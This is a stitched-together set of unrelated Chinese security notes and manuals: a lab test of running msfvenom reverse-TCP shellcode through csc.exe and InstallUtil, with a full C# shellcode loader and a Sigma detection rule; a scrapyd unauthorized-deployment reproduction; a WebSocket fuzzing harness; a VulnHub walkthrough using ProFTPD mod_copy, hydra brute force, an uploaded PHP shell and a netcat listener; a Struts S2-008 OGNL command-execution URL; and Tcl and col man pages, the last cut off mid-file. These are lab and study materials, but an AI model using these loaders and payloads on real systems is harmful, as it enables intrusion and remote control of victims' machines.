靶机:windows server 2012 ### 测试过程 #### 配置payload ```bash msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp ``` copy buf 到 Micropoor_Csc.cs shellcode中。 #### Micropoor_Csc.cs ```cs using System; using System.Net; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; // msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { byte[] shellcode = new byte[510] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport("kernel32")] private static extern UInt32 GetLastError(); } ``` #### 靶机执行 ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\a\1.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\a\1.exe ``` #### 获取会话 未能成功获取会话,但不影响针对此行为进行分析。 ## 测试留痕 ```log 事件ID: 4688 进程信息: 新进程 ID:0xa9c 新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 令牌提升类型:TokenElevationTypeDefault (1) 创建者进程 ID:0xaa0 进程命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\a\1.cs 事件ID: 4688 进程信息: 新进程 ID:0x984 新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe 令牌提升类型:TokenElevationTypeDefault (1) 创建者进程 ID:0xaa0 进程命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\a\1.exe ``` ## 检测规则/思路 ### sigma规则 ```yml title: Suspicious Parent of Csc.exe description: Detects a suspicious parent of csc.exe, which could by a sign of payload delivery status: experimental references: - https://twitter.com/SBousseaden/status/1094924091256176641 tags: - attack.defense_evasion - attack.t1027-004 logsource: category: process_creation product: windows detection: selection: Image: '*\csc.exe*' ParentImage: - '*\wscript.exe' - '*\cscript.exe' - '*\mshta.exe' condition: selection falsepositives: - Unkown level: high ``` ### 建议 可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略Sysmon。 ## 参考推荐 MITRE-ATT&CK-T1027-004 <https://attack.mitre.org/techniques/T1027/004/> 基于白名单Csc.exe执行payload第七季 <https://micro8.gitbook.io/micro8/contents-1/71-80/77-ji-yu-bai-ming-dan-csc.exe-zhi-hang-payload-di-qi-ji>
sec-knowleage
# scrapyd 未授权访问漏洞 scrapyd是爬虫框架scrapy提供的云服务,用户可以部署自己的scrapy包到云服务,默认监听在6800端口。如果攻击者能访问该端口,将可以部署恶意代码到服务器,进而获取服务器权限。 参考链接:<https://www.leavesongs.com/PENETRATION/attack-scrapy.html> ## 环境搭建 执行如下命令启动scrapyd服务: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:6800`即可看到Web界面。 ## 漏洞复现 参考[攻击Scrapyd爬虫](https://www.leavesongs.com/PENETRATION/attack-scrapy.html),构造一个恶意的scrapy包: ```bash pip install scrapy scrapyd-client scrapy startproject evil cd evil # 编辑 evil/__init__.py, 加入恶意代码 scrapyd-deploy --build-egg=evil.egg ``` 向API接口发送恶意包: ```bash curl http://your-ip:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg ``` 成功反弹shell: ![](1.png)
sec-knowleage
#!/usr/bin/python from __future__ import print_function import socket,ssl from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer from websocket import create_connection, WebSocket from urlparse import parse_qs import argparse import os LOOP_BACK_PORT_NUMBER = 8000 def FuzzWebSocket(fuzz_value): print(fuzz_value) ws.send(ws_message.replace("[FUZZ]", str(fuzz_value[0]))) result = ws.recv() return result def LoadMessage(file): file_contents = "" try: if os.path.isfile(file): f = open(file,'r') file_contents = f.read() f.close() except: print("Error reading file: %s" % file) exit() return file_contents class myWebServer(BaseHTTPRequestHandler): #Handler for the GET requests def do_GET(self): qs = parse_qs(self.path[2:]) fuzz_value = qs['fuzz'] result = FuzzWebSocket(fuzz_value) self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(result) return parser = argparse.ArgumentParser(description='Web Socket Harness: Use traditional tools to assess web sockets') parser.add_argument('-u','--url', help='The remote WebSocket URL to target.',required=True) parser.add_argument('-m','--message', help='A file that contains the WebSocket message template to send. Please place [FUZZ] where injection is desired.',required=True) args = parser.parse_args() ws_message = LoadMessage(args.message) ws = create_connection(args.url,sslopt={"cert_reqs": ssl.CERT_NONE},header={},http_proxy_host="", http_proxy_port=8080) try: #Create a web server and define the handler to manage the #incoming request server = HTTPServer(('', LOOP_BACK_PORT_NUMBER), myWebServer) print('Started httpserver on port ' , LOOP_BACK_PORT_NUMBER) #Wait forever for incoming http requests server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down the web server') server.socket.close() ws.close()
sec-knowleage
# Violator > https://download.vulnhub.com/violator/violator.ova 靶场IP:`192.168.32.194` 扫描对外端口 ``` ─(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.194 Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-04 23:22 EDT Nmap scan report for 192.168.32.194 Host is up (0.00067s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5rc3 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) MAC Address: 00:0C:29:34:9B:25 (VMware) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds ``` 浏览器访问80端口,没有发现有用的目录。 ![image-20220805111921990](../../.gitbook/assets/image-20220805111921990.png) 查找FTP漏洞 ``` ┌──(root💀kali)-[/tmp] └─# searchsploit ProFTPD 1.3.5 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` 使用mod\_copy模块进行利用 ``` ┌──(root💀kali)-[/tmp] └─# ftp 192.168.32.194 Connected to 192.168.32.194. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.32.194] Name (192.168.32.194:root): anonymous 331 Password required for anonymous Password: 530 Login incorrect. Login failed. Remote system type is UNIX. Using binary mode to transfer files. ftp> site cpfr /proc/self/root 350 File or directory exists, ready for destination name ftp> site cpto /var/www/html/root 250 Copy successful ``` ![image-20220805142813054](../../.gitbook/assets/image-20220805142813054.png) 获取用户字典 ``` ┌──(root💀kali)-[/tmp] └─# cat passwd | awk -F ":" '{print$1}' root daemon bin sys sync games man lp mail news uucp proxy www-data backup list irc gnats nobody libuuid syslog messagebus landscape dg proftpd ftp mg af aw ``` 根据提示获取密码字典 ``` cewl -v 'en.wikipedia.org/wiki/Violator_(album)' -d 1 -w violator.txt sed 's/ //g' violator.txt > violator_nospaces cut -d'"' -f2 violator_nospaces | tr '[:upper:]' '[:lower:]' > violator_list ``` 暴力破解 ``` ┌──(root💀kali)-[/tmp] └─# hydra -L users -P violator_list ftp://192.168.32.194 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-07 22:15:25 [DATA] max 16 tasks per 1 server, overall 16 tasks, 644 login tries (l:28/p:23), ~41 tries per task [DATA] attacking ftp://192.168.32.194:21/ [STATUS] 425.00 tries/min, 425 tries in 00:01h, 219 to do in 00:01h, 16 active [21][ftp] host: 192.168.32.194 login: dg password: policyoftruth [21][ftp] host: 192.168.32.194 login: mg password: bluedress [21][ftp] host: 192.168.32.194 login: af password: enjoythesilence [21][ftp] host: 192.168.32.194 login: aw password: sweetestperfection 1 of 1 target successfully completed, 4 valid passwords found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-07 22:16:51 ``` 使用dg账号登录FTP,并且上传shell ``` ftp> put (local-file) /opt/shell.php (remote-file) /var/www/html/shell.php local: /opt/shell.php remote: /var/www/html/shell.php 200 PORT command successful 150 Opening BINARY mode data connection for /var/www/html/shell.php 226 Transfer complete 5496 bytes sent in 0.00 secs (85.9245 MB/s) ``` 使用反弹shell ``` ┌──(root💀kali)-[/opt] └─# nc -lvp 1234 listening on [any] 1234 ... 192.168.32.194: inverse host lookup failed: Unknown host connect to [192.168.32.130] from (UNKNOWN) [192.168.32.194] 43760 Linux violator 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 03:24:50 up 10 min, 0 users, load average: 0.00, 0.01, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ $ python -c 'import pty;pty.spawn("/bin/bash")' www-data@violator:/$ su dg su dg Password: policyoftruth ``` 查看sudo列表 ``` dg@violator:/$ sudo -l sudo -l Matching Defaults entries for dg on violator: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User dg may run the following commands on violator: (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd dg@violator:/$ ``` 查看home目录 ![image-20220808102819113](../../.gitbook/assets/image-20220808102819113.png) 在`mg`目录,找到`faith_and_devotion`文件 ``` dg@violator:/home/mg$ cat faith_and_devotion cat faith_and_devotion Lyrics: * Use Wermacht with 3 rotors * Reflector to B Initial: A B C Alphabet Ring: C B A Plug Board A-B, C-D ``` 在`aw`目录,找到`hint`文件 ``` cat hint You are getting close... Can you crack the final enigma..? ``` 在`af`目录,找到`minarke-1.21`文件夹
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: join.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: join.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH join 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME join \- 通过把列表元素连接在一起来建立一个字符串 .SH "总览 SYNOPSIS" \fBjoin \fIlist \fR?\fIjoinString\fR? .BE .SH "描述 DESCRIPTION" .PP \fIlist\fR 参数必须是一个有效的 Tcl 列表。这个命令返回由 \fIlist\fR的所有元素连接在一起形成的字符串,用\fIjoinString\fR 分隔每个毗连的元素对。\fIjoinString\fR 参数缺省是一个空格字符。 .SH "参见 SEE ALSO" list(n), lappend(n) .SH "关键字 KEYWORDS" element, join, list, separator .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/05 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# S2-008 远程代码执行漏洞 影响版本: 2.1.0 - 2.3.1 漏洞详情: http://struts.apache.org/docs/s2-008.html ## 测试环境搭建 ``` docker compose build docker compose up -d ``` ## 原理 参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html > S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。 例如在 devMode 模式下直接添加参数`?debug=command&expression=<OGNL EXP>`,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义): ``` http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29) ```
sec-knowleage
col === 过滤控制字符 ## 补充说明 **col命令** 是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符`>`和`>>`,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符。 ### 语法 ```shell col(选项) ``` ### 选项 ```shell -b:过滤掉所有的控制字符,包括RLF和HRLF; -f:滤掉RLF字符,但允许将HRLF字符呈现出来; -x:以多个空格字符来表示跳格字符; -l<缓冲区列数>:预设的内存缓冲区有128列,用户可以自行指定缓冲区的大小。 ```
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: unset.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: unset.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el 